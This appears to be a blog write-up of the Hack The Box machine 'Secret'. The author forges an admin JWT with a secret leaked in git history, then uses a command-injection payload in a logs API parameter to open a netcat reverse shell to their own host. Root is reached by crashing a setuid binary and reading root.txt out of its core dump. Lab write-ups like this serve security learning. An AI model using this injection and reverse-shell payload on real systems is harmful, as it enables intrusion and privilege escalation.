Secret

Secret hack the box info card

Enumeration

Service scan with nmap

We have discovered 3 active ports, 2 of which are http service and we have to analyze them from within our browser.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

We see it is a website that contains a tutorial on how to register a user, login as user and basically operate the API.

Port 3000

Same as port 80

Enumerate directories with Dirbuster

We have found a zip file. Usually, open source projects publish publicly the files they are comprised of.

Files.zip Analysis

We find .git which should contain commits and files that could contain interesting info.

┌──(root💀kali)-[~/Downloads/local-web]
└─# ls -la                                    
total 116
drwxr-xr-x   8 root root  4096 Sep  3 01:57 .
drwxr-xr-x   5 root root  4096 Nov 11 08:41 ..
-rw-r--r--   1 root root    72 Sep  3 01:59 .env
drwxr-xr-x   8 root root  4096 Sep  8 14:33 .git
-rw-r--r--   1 root root   885 Sep  3 01:56 index.js
drwxr-xr-x   2 root root  4096 Aug 13 00:42 model
drwxr-xr-x 201 root root  4096 Aug 13 00:42 node_modules
-rw-r--r--   1 root root   491 Aug 13 00:42 package.json
-rw-r--r--   1 root root 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x   4 root root  4096 Sep  3 01:54 public
drwxr-xr-x   2 root root  4096 Sep  3 02:32 routes
drwxr-xr-x   4 root root  4096 Aug 13 00:42 src
-rw-r--r--   1 root root   651 Aug 13 00:42 validations.js


┌──(root💀kali)-[~/Downloads/local-web]
└─# cd .git

┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# ls    
branches  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs

┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# cd logs     

┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# ls
HEAD  refs

┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# cat HEAD   
0000000000000000000000000000000000000000 55fe756a29268f9b4e786ae468952ca4a8df1bd8 dasithsv <[email protected]> 1630648552 +0530     commit (initial): first commit
55fe756a29268f9b4e786ae468952ca4a8df1bd8 3a367e735ee76569664bf7754eaaade7c735d702 dasithsv <[email protected]> 1630648599 +0530     commit: added downloads
3a367e735ee76569664bf7754eaaade7c735d702 4e5547295cfe456d8ca7005cb823e1101fd1f9cb dasithsv <[email protected]> 1630648655 +0530     commit: removed swap
4e5547295cfe456d8ca7005cb823e1101fd1f9cb de0a46b5107a2f4d26e348303e76d85ae4870934 dasithsv <[email protected]> 1630648759 +0530     commit: added /downloads
de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 dasithsv <[email protected]> 1630648817 +0530     commit: removed .env for security reasons
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 e297a2797a5f62b6011654cf6fb6ccb6712d2d5b dasithsv <[email protected]> 1631126007 +0530     commit: now we can view logs from server 😃

At this point I have decided to look for a clue in google what to do with the .git and found that there are GitTools on github that we could use to dump data from it. Additionally, we have some insight now that we can view logs and that they have removed some file that could be interesting to us. In the next lines, I am dumping the data from the git file.

┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ls
extractor.sh  README.md

┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ./extractor.sh ~/Downloads/local-web dump
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########

At this point I did not achieve anything fruitful and did not know what to do with the dump. So I decided to proceed with the instructions given on the secret.htb website.

Create a new user and login

Looking back at the website there is a section to register user:

We can try to register one:

Unsuccessful, it requires us a name even though it was supplied… I realised I was missing Content-Type information in the POST request body.

Now I need to fix the error by making the name longer.

Nice, we registered a user successfully. Now we could try to login. From the website, the instructions are the following:

We got a JWT token after we logged-in:

I thought a bit and decided to look through the dump for a “token” and “admin”. I found that there is a user called “theadmin” and a JWT token.

┌──(root💀kali)-[/opt/GitTools/Extractor/dump]
└─# grep -IR "admin"
<deleted>
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js:    if (name == 'theadmin') {
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js:                role: "you are admin",
<deleted>

#grep -IR "TOKEN"

3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

In jwt.io we can edit and sign the JWT token we got from the response message:

  1. Paste the original token we got after we logged in into the “Encoded” input field. To the right, the decoded token information will show up.
  1. Edit the name variable to be “theadmin” and within “VERIFY SIGNATURE” paste the JWT token we found previously from our dump file.

Sign the token and copy the Encoded version of the JWT token.

Reverse Shell

From previous enumeration, the creator hinted us about the .env being removed for security reasons. Additionally, the creator talks about the ability to get logs from the system. In private.js file it is said that we have to specify file name as the get parameter with the name file.

In the following lines, I am using curl to initiate a GET request similarly to the previous api calls we did through burp but this time, calling the logs file which is injectable. We will inject our code in order to achieve the following results:

  • First delete any file called f in tmp/ directory
  • create a first-in-first-out (fifo) buffer file called f in tmp/ directory
  • Cat the file we created and pipe a shell with -i tag
  • Pipe nc our local IP and our local listening port
  • Use -H to add custom headers which in this case is our auth-token also called JWT
  • Setup a listener with netcat on the same port from the request to catch the connection
┌──(root-kali)-[/opt/GitTools/Extractor]
└─# curl 'http://10.10.11.120:3000/api/logs?file=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.7+1234+>/tmp/f' -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNDMxMmZjMzIwNDA0NTlkNWUzMmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAYS5hZyIsImlhdCI6MTYzNjcxMzQ4OX0.d1oGnqiO62eT9DE79I9A0BsgBjM_eav6y-79Uzuxcio"
^[[3~curl: (52) Empty reply from server
┌──(root-kali)-[~/Downloads/local-web/.git]
└─# nc -nvlp 1234                                                                              1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.120] 33086
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dasith

Privilege Escalation

Shell stabilisation

$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 6: python: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:~/local-web$ export TERM=xterm
export TERM=xterm
[email protected]:~/local-web$ ^Z
zsh: suspended  nc -nvlp 1234

┌──(root-kali)-[~/Downloads/local-web/.git]
└─# stty raw -echo; fg                                                                                                                                        148 ⨯ 1 ⚙
[1]  + continued  nc -nvlp 1234

Look for setuid files. We find a file called “count”. I recognise that this file is not a system one but a user file, so I have to investigate it.

[email protected]:~/local-web$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
[email protected]:~/local-web$ cd /opt/
[email protected]:/opt$ ls
code.c  count  valgrind.log
[email protected]:/opt$ file count
count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped

We see it is a binary file. I use strings to analyze the contents of the binary:

[email protected]:/opt$ strings count 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Unable to open directory.
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
code.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__stat
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
_edata
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.4
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
__data_start
[email protected]@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
__lstat
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.7
dircount
[email protected]@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
filecount
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

We notice that it uses a couple of other files within the code. But I need a better view of the code, so I analyze it from an editor if I remember correctly:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}

void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

At this point I was quite stuck. Could not figure it out but got a nudge by a fellow hacker and was told to “look for something that is dumpable”. So I did and found the following line within the code: prctl(PR_SET_DUMPABLE, 1);

https://man7.org/linux/man-pages/man2/prctl.2.html

  • According to the man page of prctl PR_SET_DUMPABLE when the state is set, it produces a core dump under specific conditions.
    A quick google search leads me to a stackoverflow post where the person explains that a core dump could be generated by an error. So I thought about crashing the process and analysing the core dump file. For the purpose, I first created a 2nd reverse shell from which I will initiate a kill command.

This thread explained how I can read a crash file:

[email protected]:/opt$  cd /var/crash
[email protected]:/var/crash$ ll
total 88
drwxrwxrwt  2 root   root    4096 Nov 12 13:44 ./
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ../
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28108 Nov 12 13:44 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
[email protected]:/var/crash$ mkdir /tmp/crashdump
[email protected]:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crashdump/
[email protected]:/var/crash$ cd /tmp/crashdump/
[email protected]:/tmp/crashdump$ ls
Architecture  DistroRelease        ProblemType  ProcEnviron  Signal
CoreDump      ExecutablePath       ProcCmdline  ProcMaps     Uname
Date          ExecutableTimestamp  ProcCwd      ProcStatus   UserGroups

Analysing the CoreDump file:

[email protected]:/tmp/crashdump$ strings CoreDump 
CORE
CORE
count
./count -p 
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path: 
Could
LINUX
////////////////
Path: 
Could
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: words      = 2
Total lines      = 2
oot/root.txt
<edited>c0572f41284ab<edited>
aliases
ethers
group

It seems, we have the root.txt file contents.

Honestly, I am overly enjoying this box. So much fun and so much to learn!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: